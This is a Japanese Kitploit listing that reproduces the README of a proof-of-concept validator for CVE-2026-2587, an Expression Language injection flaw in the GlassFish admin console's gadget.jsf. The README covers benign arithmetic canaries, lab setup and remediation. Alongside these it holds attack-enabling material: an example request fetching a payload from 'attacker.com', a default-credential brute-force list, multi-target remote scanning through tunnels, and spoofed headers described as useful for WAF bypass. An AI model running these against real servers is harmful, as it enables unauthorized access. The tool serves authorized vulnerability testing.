Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 PoCバリデーター - Eclipse GlassFishの管理コンソールのgadget.jsfハンドラにおけるELインジェクションRCE用。許可されたテストのための安全な認証済み脆弱性スキャナー。 | Kitploit
ツール/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
脆弱性スキャナー動的分析 (サンドボックス)脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 PoCバリデーター - Eclipse GlassFishの管理コンソールのgadget.jsfハンドラにおけるELインジェクションRCE用。許可されたテストのための安全な認証済み脆弱性スキャナー。

リポジトリを見るウェブサイト
13ヶ月前未レビュー

CVE-2026-2587 Exploit PoC — Eclipse GlassFish EL インジェクション RCE 検証ツール

CVE-2026-2587 の安全な PoC 検証ツールです。これは、Eclipse GlassFish の管理コンソールガジェット処理(/common/gadgets/gadget.jsf)に影響する重大な EL インジェクション / RCE 問題です。

このツールは、セキュリティチームが承認された環境で、良性の算術 EL カナリアを使用して GlassFish CVE-2026-2587 の露出を検証するのに役立ちます。

割り当て元: Eclipse Foundation (CNA) · 公開日: 2026年5月19日 CVSS: 9.6 Critical · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — Expression Language Injection 影響を受けるバージョン: 2026年5月21日時点の公開アドバイザリでは不明 パッチ適用済みバージョン: 2026年5月21日時点の公開アドバイザリでは不明 スキャナールール: バージョンはルーティング/レポートコンテキストのみ; 判定には証明が必要です。


目次

  • 脆弱性概要
  • 動作の仕組み
  • 認証要件
  • セットアップ
  • ラボ環境 (Docker)
  • プローブXMLの生成
  • 使用方法 — 単一ターゲット
    • ローカルホスト / Docker
    • 認証情報
    • ブルートフォースログイン
    • Cloudflare Tunnel経由のリモート
    • 事前ホスティングされた静的XML
    • ngrok経由のリモート(最終手段)
    • 認証なしチェックのみ
  • 使用方法 — 複数ターゲット
    • ターゲットファイル形式
    • 並列スキャン
  • 出力形式
    • コンソール
    • CSV
    • JSON
    • 出力の組み合わせ
  • 高度なオプション
    • エンドポイントとバージョンの探索
    • カスタムカナリア値
    • カスタムヘッダー
  • テストケース
  • 出力の解釈
  • 手動検証
  • 修復
  • 参考文献
  • 免責事項

脆弱性概要

GlassFish 管理コンソールガジェットハンドラに重大なリモートコード実行の脆弱性が存在します。アプリケーションは、gadget= クエリパラメータを介して指定されたURLからフェッチされた .xml ファイルを処理し、Java Expression Language (EL) エンジンを通じて、サニタイズやエスケープなしに <ModulePrefs> 属性内のユーザー入力値を評価します。``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

root@kitploit:~
XMLが`<ModulePrefs title="">`属性内に`#{7*7}`を含む場合、GlassFishはサーバーサイドでそれを評価し`49`を返します—EL実行を確認します。ELがJavaランタイムにアクセスすることで、完全なRCEチェーンが続きます。

現在の公開アドバイザリレコードは、影響を受けるバージョンやパッチ適用済みバージョンの境界を公開していません。したがって、このバリデーターは証明ファーストです:GlassFishのフィンガープリントを取得し、バージョンメタデータを報告しますが、バージョン文字列のみからターゲットを脆弱と分類することはありません。

---

## 動作原理

![CVE-2026-2587の安全な検証ワークフロー](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

安全な検証パスは、良性のXMLプローブをホストし、認証済みの管理コンソールリクエストを`gadget.jsf`に送信し、GlassFishにコールバックURLからそのXMLをフェッチさせ、`<ModulePrefs title="">`カナリアが`#{7*7}`から`49`に評価されるかどうかを確認します。

**インジェクションポイントの確認有無:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

認証要件

CVSSベクトル PR:N / UI:R の意味:

  • PR:N — 攻撃者は自身の認証情報が不要
  • UI:R — ログイン済みの管理者が操作する必要あり(CSRF配信)

ラボでの検証では、CSRFを完全にスキップ — 自分の管理者セッションを直接使用してください。


セットアップ

必要条件: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

root@kitploit:~
**リポジトリの内容:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

ラボ環境 (Docker)

注意: GHSAは依然として影響を受けるバージョンと修正済みバージョンを不明としてリストしています。 omnifish/glassfish:7.0.15 は有力なラボ候補ですが、脆弱性が保証されたビルドではありません。 検証プリミティブは算術カナリアのままです: #{7*7} が 49 と評価される場合、EL がアクティブです。

Option A — docker compose (推奨)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

root@kitploit:~
GlassFish 7.0.15を起動し、ポートは`127.0.0.1`のみにバインドされ、
`host.docker.internal`が事前に設定されているため、コンテナはローカルのXMLサーバーに到達できます。

### オプション B — 最小限の docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

管理コンソール: https://localhost:4848 · ログイン: admin / admin (自己署名証明書 — ブラウザの警告は想定内です。)


良性プローブXMLを提供する

2つ目のターミナルで:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

root@kitploit:~
コンテナの視点から到達可能性を確認してください:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

手動トリガー

まず管理コンソールにログインしてください(ブラウザセッションまたは --cookie を使用)。その後:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

root@kitploit:~
| 出力 | 意味 |
|---|---|
| `CVE2587_TITLE_49_END` | **脆弱** — `ModulePrefs title` 内でELが評価される |
| `CVE2587_BODY_49_END` | **脆弱** — CDATA本体でELが評価される |
| `CVE2587_TITLE_#{7*7}_END` | 脆弱ではない / ELは評価されない |
| *(no output)* | GlassFishがXMLを取得しなかった — コールバックの到達可能性を確認 |

> CDATA本体は通常、脆弱なビルドでもそのまま残ります。`TITLE`の結果が正であれば、それだけで発見を確認するのに十分です。

---

### ローカルラボに対する自動検証```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Probe XMLの生成

リポジトリには、すぐに使えるprobe.xmlが同梱されています。新しいものをいつでも生成することもできます — これは、カスタムカナリアプレフィックスやランダム化された値を使用して、プローブをエンゲージメントごとにユニークにしたい場合に便利です。```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

root@kitploit:~
ファイルに書き込んだ後の出力:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

使用法 — 単一ターゲット

ローカルホスト / Docker

GlassFishがローカルまたは同一マシン上のDockerで実行されている場合に使用します。

管理者コンソールにログインした状態で、ブラウザのDevTools → Application → CookiesからJSESSIONIDを取得し、次のようにします:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

Localhost (no Docker)

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `host.docker.internal` は Docker 内部からホストマシンに解決されます。
> GlassFish コンテナは、このアドレスを経由してプローブ XML を取得します。

---

### 認証情報```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

フォームログインが失敗した場合、スクリプトはフォールスルーしてとにかくエンドポイントを試します。 それも失敗した場合、セッションクッキーを取得するためのステップバイステップの手順を出力します。


ブルートフォースログイン

資格情報がまったくない場合、--brute は一般的な GlassFish のデフォルト資格情報のペア 21 個を順番に試し、最初に成功したものを使用します。 --username および --cookie とは相互に排他的です。```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose

root@kitploit:~
有効なペアが見つかると、出力に表示され、CSVの`brute_creds`列に記録されます。すべてのペアが失敗した場合、スキャンは`AUTH_REQUIRED`で終了します。

一部のGlassFishビルドでは、有効なフォームPOSTの後に`/login.jsf`が返されます。バリデータはそのURL単体を失敗として扱わず、管理ガジェットエンドポイントをプローブし、応答がログインフォームではないことを確認してセッションを確認します。

試行される認証情報リスト(順序通り):

| ユーザー名 | パスワード |
|---|---|
| `admin` | `admin` |
| `admin` | *(空)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### Cloudflare Tunnel経由のリモートアクセス

クイックトンネルにはアカウントは不要です。

**ステップ1 — cloudflaredをインストール:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

ステップ2 — トンネル開始:```bash

Terminal 1

cloudflared tunnel --url http://localhost:8000

→ https://random-words.trycloudflare.com

root@kitploit:~
**Step 3 — バリデーターを実行:**

コールバックURLには、生成された同じホスト名を `http://` で使用します。これにより、Cloudflare TLS証明書チェーンを検証できないGlassFishラボコンテナで発生するJVMトラストストアエラーを回避できます。生成された `https://` trycloudflare URLを貼り付けると、バリデーターはコールバックを `http://` に書き換えて警告を出力します。末尾のスラッシュは任意です。バリデーターは `/canary.xml` と各テストのXMLパスを自動的に追加します。```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

事前ホスト型静的XML

ローカルサーバーを実行できない場合に使用します。ターゲットのGlassFish JVMがこのURLを直接フェッチできる必要があるため、信頼できるVPS/Webサーバー上のプレーンHTTPは、ターゲットJVMが証明書チェーンを信頼していないHTTPSホストよりも信頼性が高いことがよくあります。 --xml-urlフラグは、内蔵サーバーを完全にバイパスします。

新しいプローブXMLを生成し、それをホストします:```bash

Step 1 — generate

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Step 2 — host it (pick one)

python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server

Step 3 — run (use the --prefix/--left/--right from the generate output)

python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `--prefix`、`--left`、`--right` は、ホストされた XML ファイル内の値と一致する必要があります。
> そうすることで、スクリプトはレスポンス内のどの評価済みトークンを探すべきかを認識できます。

---

### ngrok 経由のリモート(最終手段)

ngrok は、リモートターゲットに対する最後の手段としてのみ使用してください。無料プランでは、ブラウザからのアクセスではないサーバーサイドのフェッチに対して、警告の HTML ページを返してブロックする場合があります。その場合、GlassFish は `probe.xml` の代わりにその警告ページをフェッチし、バリデータはそのレスポンスをログインページまたは不明な結果として分類する可能性があります。この制限を回避できる有料の ngrok アカウントをお持ちでない限り、Cloudflare Tunnel、VPS、またはターゲット JVM がクリーンにフェッチできる静的 Web ホストを優先してください。

**ステップ 1 — ngrok のインストール:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

ステップ2 — ローカルサーバーを公開する:```bash

Terminal 1

ngrok http 8000

→ Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000

root@kitploit:~
**ステップ3 — バリデーターを実行:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

abc123.ngrok-free.app を実際のngrok URLに置き換えてください。 スクリプトは :8000 で独自のXMLサーバーを起動し、ngrokがインターネットからそのサーバーへ転送します。


認証なしチェックのみ

完全な認証スキャンを行う前に、エンドポイントが誤って認証なしで露出していないかテストします。フェーズ1の直後に終了します。```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure

root@kitploit:~
## 使用方法 — 複数のターゲット

### ターゲットファイルの形式

リポジトリにはテンプレートとして `targets.txt.example` が含まれています。コピーして編集してください:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

フォーマット — 1行に1つのターゲット、# で始まる行と空白行は無視され、ターゲットごとの認証情報がグローバルの --username/--password を上書きします:```

targets.txt

format: URL

https://server1:4848

format: URL username password

https://server2:4848 admin password123 https://server3:4848 ops secret99

format: URL username:password

https://server4:4848 admin:admin

commented-out targets are skipped

https://server5:4848

root@kitploit:~
すべてのターゲットに対して実行:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

グローバル --username/--password は、行ごとの認証情報がないターゲットに適用されます。 行ごとの認証情報はグローバルよりも優先されます。


並列スキャン

--threads を使用して複数のターゲットを同時にスキャンします。 組み込みのXMLサーバーはすべてのスレッド間で共有されます。```bash

Scan 10 targets at once

python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json

root@kitploit:~
> 推奨スレッド数:
> - ローカルラボ: 最大 `10`
> - インターネット経由のリモートターゲット: `3–5` (レート制限を尊重)
> - 単一ターゲット: `1` (デフォルト)

---

## 出力形式

### コンソール

デフォルトの人間可読出力。`--verbose` を追加すると各テストケースの結果が表示されます。```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

マルチターゲット概要:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════

root@kitploit:~
### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

CSV列:

例:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired

root@kitploit:~
---

### JSON```bash
--json

単一ターゲット:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }

root@kitploit:~
複数のターゲットはJSON配列を返します。

---

### 出力の組み合わせ

すべての出力形式は独立しています — 自由に組み合わせてください:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

高度なオプション

エンドポイントとバージョンの検出

デフォルトでは、スキャナは共通の管理GUIルート配下の共有GlassFishガジェットパスをテストします。```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf

root@kitploit:~
また、リダイレクトの `Location` ヘッダーからデフォルト以外のGUIコンテキストルートを学習し、そのルートをテストの前に付加します。この発見リストを上書きしたい場合にのみ、繰り返し可能な `--path` 値を使用してください。

バージョン検出は、レスポンスヘッダー、管理REST API、ログインページ、そしてログイン成功後の `/__asadmin/version.json` または `/__asadmin/version` から試みられます。バージョンデータはルーティングとレポーティングのみを改善します。スキャナーは、公開されたアドバイザリレコードがバージョン境界を公開するまで、`version_affected` を `UNKNOWN` のままにします。

---

### Custom Canary Values

検証器を手作りのXMLに一致させるには、`--prefix`、`--left`、`--right` を使用します。自分でホストしているファイルで `--xml-url` を使用する場合に必要です。```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

カスタムヘッダー

任意のヘッダーを追加 — WAFバイパス、ロードバランサールーティング、またはリバースプロキシ背後でのテストに便利です。```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure

root@kitploit:~
---

## テストケース

バリデータは10個の異なるELプローブを実行し、それぞれが異なる機能を確認します:

| # | ペイロード | 期待値 | 証明内容 |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | ベースライン算術カナリア |
| TC-02 | `#{1337+2587}` | `3924` | 加算演算子 |
| TC-03 | `#{31337*271}` | `8492327` | 衝突耐性のある大きな乗算 |
| TC-04 | `#{9999-1337}` | `8662` | 減算演算子 |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | ネストされた括弧 / 演算子の優先順位 |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | 条件分岐 / 三項演算子 — 制御フローの実行 |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | 文字列メソッドへのアクセス |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | メソッドチェーン呼び出し |
| TC-09 | `#{17 mod 5}` | `2` | ELキーワード演算子 |
| TC-10 | `#{100*100}` | `10000` | 追加の算術確認 |

TC-06、TC-07、TC-08が最も重要です。これらを通過するということは、ELエンジンが**文字列APIメソッドと条件分岐ロジック**を実行することを意味し、完全なRCEチェーンへの直接的な前段階となります。

---

## 出力の解釈

| ステータス | 意味 |
|---|---|
| `VULNERABLE` | EL式が評価されました — インスタンスが影響を受けることを確認 |
| `VULNERABLE_UNAUTH` | 認証なしでエンドポイントが露出 — 基本CVEより深刻 |
| `NOT_VULNERABLE` | 式がそのまま反映 — ELは評価されていません |
| `AUTH_REQUIRED` | エンドポイントがログインページを返しました — Cookieまたは資格情報を確認 |
| `INCONCLUSIVE` | 応答は受信したがカナリアが見つからない — 以下を参照 |
| `ERROR` | リクエストが失敗 — ネットワーク/TLSの問題 |

`detected_version` と `version_source` は補足的なコンテキストです。現在、公開アドバイザリでは影響を受けるバージョンとパッチ済みバージョンが不明としてリストされているため、`version_affected=UNKNOWN` を否定的な結果として扱わないでください。唯一の肯定的な発見は、評価されたプルーフトークンです。

**INCONCLUSIVEのトラブルシューティング:**

| 症状 | 原因 | 修正 |
|---|---|---|
| `XML hits: 0` | GlassFishがあなたのXMLをフェッチしなかった | `--callback-url` がターゲットから到達不能 |
| `XML hits: 1+` だが一致なし | ELが評価されたがフィールドが間違っている | CDATAコンテンツでは想定内 |
| 実行中の認証リダイレクト | セッションの期限切れ | ブラウザから新しい `JSESSIONID` を取得 |
| ログインPOSTが `j_security_check` にリダイレクト | パスワードが間違っている | 代わりに `--cookie` を使用 |

---

## 手動確認

Pythonは不要:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

修正方法


参考文献


免責事項

このリポジトリは許可されたセキュリティテストおよび研究専用です。

  • このツールは、自分が所有する、またはテストするための明示的な書面による許可を得ているシステムでのみ実行してください
  • バリデーターは良性の EL 評価のみを実行します — コマンド実行、リバースシェル、ファイルアップロード、永続化はありません
  • 作者は悪用に対して一切の責任を負いません
  • 責任ある開示が行われました — 2025年12月に報告、2026年5月に公開

リポジトリ構成:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md

root@kitploit:~
---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
ツールをダウンロード
シナリオ
認証が必要か?
gadget.jsf への直接アクセスはい — FORM認証、200ログインページ
実際のCSRF攻撃いいえ — 管理者のライブセッションを悪用
このバリデータはい — --cookie または --username/--password
未認証の暴露チェックいいえ — スクリプトが自動的にテスト
列説明
targetターゲットURL
timestampUTC ISO-8601スキャン時刻
verdictVULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR
vulnerable_countEL評価を確認したテストケースの数
total_tests実行したテストケースの合計数
unauth_exposedエンドポイントが認証なしで応答した場合はYES
active_endpointテストに使用したエンドポイントURL
server_headerGlassFishからのServer:ヘッダ
detected_versionフィンガープリントされた場合のバージョン文字列
version_sourceバージョン値のソース:ヘッダ、REST/ログインページ、またはasadmin-api
version_affectedアドバイザリのバージョンステータス。現在はUNKNOWN(公開されている影響範囲や修正範囲が公開されていないため)
admin_consolepresent、not_found、またはunknown
gadget_endpointpresent、blocked、not_found、またはunknown
proofevaluated、not_evaluated、またはnot_attempted
TC-01 … TC-10テストごとの結果:VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED
notesスキャンが失敗した場合のエラーメッセージ
アクション詳細
アップグレードEclipse/NVD/GHSA がパッチ適用済みバージョンの境界を公開した際に、ベンダー公開の修正ビルドを適用してください
ガジェットハンドラを無効化未使用の場合は WAF/ファイアウォールで /common/gadgets/gadget.jsf をブロック
管理コンソールをファイアウォールで保護ポート 4848 を信頼済み IP のみに制限
CSRF 対策管理セッションで SameSite Cookie 属性を確保
WAF ルールガジェットエンドポイントに到達する XML 本文内の #{ および ${ をブロック
リソースリンク
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-2587
GitHub Advisory (GHSA)https://github.com/advisories/GHSA-29wv-cv7p-xjc2
Eclipse CVE 追跡https://gitlab.eclipse.org/security/cve-assignment/-/issues/86
Eclipse GlassFish ソースhttps://github.com/eclipse-ee4j/glassfish
CWE-917https://cwe.mitre.org/data/definitions/917.html
報告者Camilo G. (DeepSecurity Perú) — @SeguridadBlanca